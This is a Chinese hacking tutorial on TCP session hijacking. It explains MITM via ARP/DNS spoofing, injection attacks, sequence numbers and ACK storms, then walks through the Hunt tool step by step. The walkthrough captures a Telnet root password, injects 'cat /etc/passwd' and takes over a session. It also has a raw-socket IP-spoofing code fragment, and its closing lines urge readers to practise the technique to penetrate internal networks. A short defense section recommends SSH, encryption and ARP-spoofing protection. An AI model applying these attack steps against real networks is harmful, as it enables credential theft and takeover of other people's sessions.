前言
通常,大家所说的入侵,都是针对一台主机,在获得管理员权限后,就很是得意;其实,真正的入侵是占领整个内部网络。针对内部网络的攻击方法比较多,但比较有效的方法非ARP欺骗、DNS欺骗莫属了。但是,不管使用什么技术,无非都是抓取目标的数据包,然后分析出敏感数据。如果目标内部采用的是共享式网络(采用HUB集线器连网),那只需要把网卡设置为“混杂模式”,挂上嗅探器(Sniffer),就能简听到你想得到的数据。如果是交换式网络(采用交换机连网),这样方法就行不通了,因为对于嗅探器,有三种网络环境是无法跨越的:“网桥”、“交换机”、“路由器”。可惜,对于ARP欺骗,交换式网络还是无能为力,如果我们借助ARP欺骗,在实现更高一层的“入侵手段”,从而真正的控制内部网络。这也就是本文要叙述的会话劫持攻击……
一,会话劫持原理
1,什么是会话劫持
在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?!当然,这只是一个比喻,但这恰恰就是会话劫持的喻意。所谓会话,就是两台主机之间的一次通讯。例如你Telnet到某台主机,这就是一次Telnet会话;你浏览某个网站,这就是一次HTTP会话。而会话劫持(Session Hijack),就是结合了嗅探以及欺骗技术在内的攻击手段。例如,在一次正常的会话过程当中,攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行简听,甚至可以是代替某一方主机接管会话。我们可以把会话劫持攻击分为两种类型:1)中间人攻击(Man In The Middle,简称MITM),2)注射式攻击(Injection);并且还可以把会话劫持攻击分为两种形式:1)被动劫持,2)主动劫持;被动劫持实际上就是在后台监视双方会话的数据流,丛中获得敏感数据;而主动劫持则是将会话当中的某一台主机“踢”下线,然后由攻击者取代并接管会话,这种攻击方法危害非常大,攻击者可以做很多事情,比如“cat etc/master.passwd”(FreeBSD下的Shadow文件)。图1为会话劫持示意图。
MITM攻击简介
这也就是我们常说的“中间人攻击”,在网上讨论比较多的就是SMB会话劫持,这也是一个典型的中间人攻击。要想正确的实施中间人攻击,攻击者首先需要使用ARP欺骗或DNS欺骗,将会话双方的通讯流暗中改变,而这种改变对于会话双方来说是完全透明的。关于ARP欺骗黑客防线介绍的比较多,网上的资料也比较多,我就不在多说了,我只简单谈谈DNS欺骗。DNS(Domain Name System),即域名服务器,我们几乎天天都要用到。对于正常的DNS请求,例如在浏览器输入www.hacker.com.cn,然后系统先查看Hosts文件,如果有相对应的IP,就使用这个IP地址访问网站(其实,利用Hosts文件就可以实现DNS欺骗);如果没有,才去请求DNS服务器;DNS服务器在接收到请求之后,解析出其对应的IP地址,返回给我本地,最后你就可以登陆到黑客防线的网站。而DNS欺骗则是,目标将其DNS请求发送到攻击者这里,然后攻击者伪造DNS响应,将正确的IP地址替换为其他IP,之后你就登陆了这个攻击者指定的IP,而攻击者早就在这个IP中安排好了恶意网页,可你却在不知不觉中已经被攻击者下了“套”……DNS欺骗也可以在广域网中进行,比较常见的有“Web服务器重定向”、“邮件服务器重定向”等等。但不管是ARP欺骗,还是DNS欺骗,中间人攻击都改变正常的通讯流,它就相当于会话双方之间的一个透明代理,可以得到一切想知道的信息,甚至是利用一些有缺陷的加密协议来实现。
注射式攻击简介
这种方式的会话劫持比中间人攻击实现起来简单一些,它不会改变会话双方的通讯流,而是在双方正常的通讯流插入恶意数据。在注射式攻击中,需要实现两种技术:1)IP欺骗,2)预测TCP序列号。如果是UDP协议,只需伪造IP地址,然后发送过去就可以了,因为UDP没有所谓的TCP三次握手,但基于UDP的应用协议有流控机制,所以也要做一些额外的工作。对于IP欺骗,有两种情况需要用到:1)隐藏自己的IP地址;2)利用两台机器之间的信任关系实施入侵。在Unix/Linux平台上,可以直接使用Socket构造IP包,在IP头中填上虚假的IP地址,但需要root权限;在Windows平台上,不能使用Winsock,需要使用Winpacp(也可以使用Libnet)。例如在Linux系统,首先打开一个Raw Socket(原始套接字),然后自己编写IP头及其他数据。可以参考下面的实例代码:
sockfd = socket(AF_INET, SOCK_RAW, 255);
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
struct ip *ip;
struct tcphdr *tcp;
struct pseudohdr pseudoheader;
ip->ip_src.s_addr = xxx;
pseudoheader.saddr.s_addr = ip->ip_src.s_addr;
tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));
sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));
对于基于TCP协议的注射式会话劫持,攻击者应先采用嗅探技术对目标进行简听,然后从简听到的信息中构造出正确的序列号,如果不这样,你就必须先猜测目标的ISN(初始序列号),这样无形中对会话劫持加大了难度。那为什么要猜测会话双方的序列号呢?请继续往下看。
2,TCP会话劫持
本文主要叙述基于TCP协议的会话劫持。如果劫持一些不可靠的协议,那将轻而易举,因为它们没有提供一些认证措施;而TCP协议被欲为是可靠的传输协议,所以要重点讨论它。
根据TCP/IP中的规定,使用TCP协议进行通讯需要提供两段序列号,TCP协议使用这两段序列号确保连接同步以及安全通讯,系统的TCP/IP协议栈依据时间或线性的产生这些值。在通讯过程中,双方的序列号是相互依赖的,这也就是为什么称TCP协议是可靠的传输协议(具体可参见RFC 793)。如果攻击者在这个时候进行会话劫持,结果肯定是失败,因为会话双方“不认识”攻击者,攻击者不能提供合法的序列号;所以,会话劫持的关键是预测正确的序列号,攻击者可以采取嗅探技术获得这些信息。
TCP协议的序列号
现在来讨论一下有关TCP协议的序列号的相关问题。在每一个数据包中,都有两段序列号,它们分别为:
SEQ:当前数据包中的第一个字节的序号
ACK:期望收到对方数据包中第一个字节的序号
假设双方现在需要进行一次连接:
S_SEQ:将要发送的下一个字节的序号
S_ACK:将要接收的下一个字节的序号
S_WIND:接收窗口
//以上为服务器(Server)
C_SEQ:将要发送的下一个字节的序号
C_ACK:将要接收的下一个字节的序号
C_WIND:接收窗口
//以上为客户端(Client)
它们之间必须符合下面的逻辑关系,否则该数据包会被丢弃,并且返回一个ACK包(包含期望的序列号)。
C_ACK <= C_SEQ <= C_ACK + C_WIND
S_ACK <= S_SEQ <= S_ACK + S_WIND
如果不符合上边的逻辑关系,就会引申出一个“致命弱点”,具体请接着往下看。
致命弱点
这个致命的弱点就是ACK风暴(Storm)。当会话双方接收到一个不期望的数据包后,就会用自己期望的序列号返回ACK包;而在另一端,这个数据包也不是所期望的,就会再次以自己期望的序列号返回ACK包……于是,就这样来回往返,形成了恶性循环,最终导致ACK风暴。比较好的解决办法是先进行ARP欺骗,使双方的数据包“正常”的发送到攻击者这里,然后设置包转发,最后就可以进行会话劫持了,而且不必担心会有ACK风暴出现。当然,并不是所有系统都会出现ACK风暴。比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。注意,ACK风暴仅存在于注射式会话劫持。
TCP会话劫持过程
假设现在主机A和主机B进行一次TCP会话,C为攻击者(如图2),劫持过程如下:
A向B发送一个数据包
SEQ (hex): X ACK (hex): Y
FLAGS: -AP--- Window: ZZZZ,包大小为:60
B回应A一个数据包
SEQ (hex): Y ACK (hex): X+60
FLAGS: -AP--- Window: ZZZZ,包大小为:50
A向B回应一个数据包
SEQ (hex): X+60 ACK (hex): Y+50
FLAGS: -AP--- Window: ZZZZ,包大小为:40
B向A回应一个数据包
SEQ (hex): Y+50 ACK (hex): X+100
FLAGS: -AP--- Window: ZZZZ,包大小为:30
攻击者C冒充主机A给主机B发送一个数据包
SEQ (hex): X+100 ACK (hex): Y+80
FLAGS: -AP--- Window: ZZZZ,包大小为:20
B向A回应一个数据包
SEQ (hex): Y+80 ACK (hex): X+120
FLAGS: -AP--- Window: ZZZZ,包大小为:10
现在,主机B执行了攻击者C冒充主机A发送过来的命令,并且返回给主机A一个数据包;但是,主机A并不能识别主机B发送过来的数据包,所以主机A会以期望的序列号返回给主机B一个数据包,随即形成ACK风暴。如果成功的解决了ACK风暴(例如前边提到的ARP欺骗),就可以成功进行会话劫持了。
关于理论知识就说到这里,下面我以具体的实例演示一次会话劫持。
二,会话劫持实践
1,唠叨几句
可以进行会话劫持的工具很多,比较常用有Juggernaut,它可以进行TCP会话劫持的网络Sniffer程序;TTY Watcher,而它是针对单一主机上的连接进行会话劫持。还有如Dsniff这样的工具包也可以实现会话劫持,只是看你会不会使用了。但,能将会话劫持发挥得淋漓尽致的,还要算Hunt这个工具了。它的作者是Pavel Krauz,可以工作在Linux和一些Unix平台下。它的功能非常强大,首先,无论是在共享式网络还是交换式网络,它都可以正常工作;其次,可以进行中间人攻击和注射式攻击。还可以进行嗅探、查看会话、监视会话、重置会话。通过前面的叙述,我们知道在注射式攻击中,容易出现ACK风暴,解决办法是先进行ARP欺骗;而使用Hunt进行注射式攻击时,它并不进行ARP欺骗,而是在会话劫持之后,向会话双方发送带RST标志位的TCP包以中断会话,避免ACK风暴继续下去。而中间人攻击是先进行ARP欺骗,然后进行会话劫持。Hunt目前最新版本是1.5,可以到Pavel Krauz网站下载源代码包和二进制文件:http://lin.fsid.cvut.cz/~kra/#hunt。
现在来看看如果使用Hunt,首先是下载并编译源代码:
[root@dahubaobao hunt]#wget http://www.ringz.org/hunt-1.5.tgz
[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz
[root@dahubaobao hunt]#cd hunt-1.5
[root@dahubaobao hunt-1.5]#make
[root@dahubaobao hunt-1.5]#./hunt
//Hunt是完全交互试的操作,具体如图3所示
解释一下各个选项的含义
l/w/r) list/watch/reset connections
//l(字母l)为查看当前网络上的会话;w为监视当前网络上的某个会话;r为重置当前网络上的某个会话。
a) arp/simple hijack (avoids ack storm if arp used)
//中间人攻击(会话劫持),Hunt先进行ARP欺骗,然后进行会话劫持。使用此方法可以避免出现ACK风暴。
s) simple hijack
//简单的会话劫持,也就是注射式攻击。会出现ACK风暴。
d) daemons rst/arp/sniff/mac
//该选项共实现四个功能,分别为:终止会话,自动发送带RST标志位的TCP包;ARP欺骗后进行数据包转发;不用说了,嗅探功能;在当前网络上收集MAC地址。
其他的选项很简单,不在多说了。还是来看看具体的例子吧,我想大家都等不及了!^_^
2,应用实例
测试环境:
攻击者:Red Hat Linux 9.0 IP:192.168.0.10
主机A:Windows Advanced Server IP:192.168.0.1
主机B:FreeBSD 4.9 STABLE IP:192.168.0.20
[root@dahubaobao hunt-1.5]#./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> l //查看当前网络上的会话
0)192.168.0.1 [3465] ?192.168.0.20 [23]
//主机A正在Telnet到主机B
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> w //监视当前网络上的会话
0)192.168.0.1 [3465] ?192.168.0.20 [23]
Choose conn>0 //选择打算监视的会话。由于我的条件有限,不能模拟多个会话,请多见量。
Dump [s]rc/[d]st/[b]oth [b]> //回车
Print sec/dst same charactes y/n [n]> //回车
现在就可以监视会话了。主机A输入的一切内容,我们都可以看到,如图4。主机A在Telnet并登陆之后,直接su root,password:后边的就是root的密码。现在这个系统已经完全由你所控制了,自由发挥吧!
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> s //进行注射式会话劫持
0)192.168.0.1 [3465] ?192.168.0.20 [23]
choose conn> 0
dump connection y/n [n]>
Enter the command string you wish executed or [cr]> cat /etc/passwd
攻击者的意图是获取主机B的passwd文件的内容,但由于注射式会话劫持缺陷,导致了ACK风暴,所以Hunt向会话双方发送了一个带RST标志位的TCP包来阻止ACK风暴。具体如图5所示。
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> a //进行中间人会话劫持
0)192.168.0.1 [3862] ?192.168.0.20 [23]
choose conn> 0
arp spoof src in dst y/n [y]>
src MAC [XX:XX:XX:XX:XX:XX]>
arp spoof dst in src y/n [y]>
dst MAC [XX:XX:XX:XX:XX:XX]>
input mode [r]aw, [l]ine+echo+/r, line+[e]cho [r]>
dump connectin y/n [y]> n
press key to take voer of connection
ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA
ILED
do you want to force arp spoof nutil successed y/n [y]>
CTRL-C to break
CTRL+C //手工输入CTRL+C中断,不需等待
-- operation canceled - press any key>
ARP spoof failed
ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
you took over the connection
CTRL-] to break
-bash-2.05b$id
....................
现在,攻击者已经成功的劫持了主机A和B之间的Telnet会话。主机A输入的一切命令攻击者都可以看到,并且攻击者也可以自行插入命令,比如图6所示的例子。正如前边所说的,这种会话劫持方式先进行ARP欺骗,然后才劫持,所以,ACK风暴是不会出现的;而且,这种方式要比注射式会话劫持危害更大,从上文中我想就能看出来,我就不必在多说什么了。还有一些如Sniffer等功能,都很简单,由于已不在本文范畴,故不在多说。
三,会话劫持防范
防范会话劫持是一个比较大的工程。首先应该使用交换式网络替代共享式网络,虽然像Hunt这样的工具可以在交换环境中实现会话劫持,但还是应该使用交换式网络替代共享式网络,因为这样可以防范最基本的嗅探攻击。然而,最根本的解决办法是采用加密通讯,使用SSH代替Telnet、使用SSL代替HTTP,或者干脆使用IPSec/VPN,这样会话劫持就无用武之地了。其次,监视网络流量,如发现网络中出现大量的ACK包,则有可能已被进行了会话劫持攻击。
还有一点是比较重要的,就是防范ARP欺骗。实现中间人攻击的前提是ARP欺骗,如能阻止攻击者进行ARP欺骗,中间人攻击还怎样进行?!如何防范ARP欺骗,黑客防线有过详细的介绍,可以参考2003年第9期杂志。
总结
对于渗透内部网络,会话劫持确实是一种比较有效的方法,我们应该掌握。本文的实践性很强,请大家务必动手试试,并希望能掌握此技术。Hunt这个强悍的工具使用方法很简单,但却可以把会话劫持发挥淋漓尽致,真佩服作者的编程功底。
tcp会话劫持
最新推荐文章于 2022-10-20 16:31:20 发布